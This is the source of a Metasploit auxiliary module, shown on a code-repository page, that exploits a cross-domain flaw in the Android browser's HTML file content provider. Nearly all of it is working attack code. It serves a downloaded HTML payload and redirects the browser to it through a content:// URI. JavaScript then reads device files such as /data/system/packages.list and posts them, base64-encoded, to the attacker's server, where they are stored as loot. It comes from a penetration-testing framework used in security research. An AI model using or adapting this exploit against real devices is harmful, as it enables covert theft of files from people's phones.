Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / gather / android_htmlfileprovider.rb @ master

History | View | Annotate | Download (4.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Auxiliary
15

    
16
        include Msf::Exploit::Remote::HttpServer::HTML
17
        include Msf::Auxiliary::Report
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'        => 'Android Content Provider File Disclosure',
22
                        'Version'     => '$Revision$',
23
                        'Description' => %q{
24
                                        This module exploits a cross-domain issue within the Android web browser to
25
                                exfiltrate files from a vulnerable device.
26
                        },
27
                        'Author'      =>
28
                                [
29
                                        'Thomas Cannon',   # Original discovery, partial disclsoure
30
                                        'jduck'            # Metasploit module
31
                                ],
32
                        'Version'     => '$Revision$',
33
                        'License'     => MSF_LICENSE,
34
                        'Actions'     =>
35
                                [
36
                                        [ 'WebServer' ]
37
                                ],
38
                        'PassiveActions' =>
39
                                [
40
                                        'WebServer'
41
                                ],
42
                        'DefaultAction'  => 'WebServer'))
43

    
44
                register_options(
45
                        [
46
                                OptString.new('FILES', [ false, "The remote file(s) to steal",
47
                                        '/proc/version,/proc/self/status,/data/system/packages.list' ])
48
                        ], self.class)
49
        end
50

    
51
        def on_request_uri(cli, request)
52
                print_status("Request '#{request.method} #{request.uri}'")
53
                selected_headers = [ 'user-agent', 'origin', 'referer' ]
54
                request.headers.each_key { |k|
55
                        next if not selected_headers.include? k.downcase
56
                        print_status("#{k}: #{request.headers[k]}")
57
                }
58

    
59
                return process_post(cli, request) if request.method == "POST"
60

    
61
                # Only GET requests now..
62
                if request.uri =~ /\.html?$/
63
                        filename = request.uri.split('/').last
64
                        target_files = datastore['FILES'].split(',').map{ |e|
65
                                "'%s'" % e
66
                        }.join(',')
67

    
68
                        upload_url = get_uri(cli)
69
                        upload_url << '/' if upload_url[-1,1] != '/'
70
                        upload_url << 'q'
71

    
72
                        html = <<-EOS
73
<html>
74
<body>
75
<script lang=javascript>
76
var target_files = Array(#{target_files});
77
var results = new Array();
78
function addField(form, name, value) {
79
        var hf = document.createElement('input');
80
        hf.setAttribute('type', 'hidden');
81
        hf.setAttribute('name', name);
82
        hf.setAttribute('value', value);
83
        form.appendChild(hf);
84
}
85
function uploadFiles(files) {
86
        var form = document.createElement('form');
87
        form.setAttribute('method', 'POST');
88
        form.setAttribute('action', '#{upload_url}');
89
        var i = 0;
90
        for (var fn in files) {
91
                addField(form, 'f'+i, btoa(fn));
92
                addField(form, 'd'+i, files[fn]);
93
                i += 1;
94
        }
95
        document.body.appendChild(form);
96
        form.submit();
97
}
98
for (var fn in target_files) {
99
        fn = target_files[fn];
100
        xh = new XMLHttpRequest();
101
        xh.open('GET', fn, false);
102
        xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
103
        xh.send();
104
}
105
uploadFiles(results);
106
</script>
107
</body>
108
</html>
109
EOS
110

    
111
                        print_status("Sending payload HTML ...")
112
                        send_response_html(cli, html,
113
                                {
114
                                        'Cache-Control' => 'public',
115
                                        'Content-Description' => 'File Transfer',
116
                                        'Content-Disposition' => "attachment; filename=#{filename}",
117
                                        'Content-Transfer-Encoding' => 'binary',
118
                                        'Content-Type' => 'text/html'
119
                                })
120

    
121

    
122
                else
123
                        payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
124

    
125
                        html = <<-EOS
126
<html>
127
<body>
128
<script lang=javascript>
129
setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);
130
setTimeout("document.location = '#{payload_fn}.html';", 500);
131
</script>
132
</body>
133
</html>
134
EOS
135

    
136
                        print_status("Sending initial HTML ...")
137
                        send_response_html(cli, html)
138

    
139
                end
140
        end
141

    
142
        def process_post(cli, request)
143

    
144
                results = {}
145

    
146
                if request and request.body
147
                        request.body.split('&').each { |var|
148
                                parts = var.split('=', 2)
149
                                if parts.length != 2
150
                                        print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
151
                                else
152
                                        fln,fld = parts
153
                                        fld = Rex::Text.uri_decode(fld).unpack('m').first
154
                                        start = fln.slice!(0,1)
155
                                        if start == "f"
156
                                                results[fln] ||= {}
157
                                                results[fln][:filename] = fld
158
                                        elsif start == "d"
159
                                                results[fln] ||= {}
160
                                                results[fln][:data] = fld
161
                                        end
162
                                end
163
                        }
164
                end
165

    
166
                results.each_key { |k|
167
                        e = results[k]
168
                        fn = e[:filename]
169
                        data = e[:data]
170
                        print_good("#{fn.inspect} contains #{data.inspect}")
171

    
172
                        fn.gsub!(/[\/\\]/, '.')
173
                        fn.gsub!(/^\./, '')
174
                        store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)
175
                }
176

    
177
                send_response_html(cli, "thx")
178
        end
179

    
180
        def run
181
                exploit()
182
        end
183

    
184
end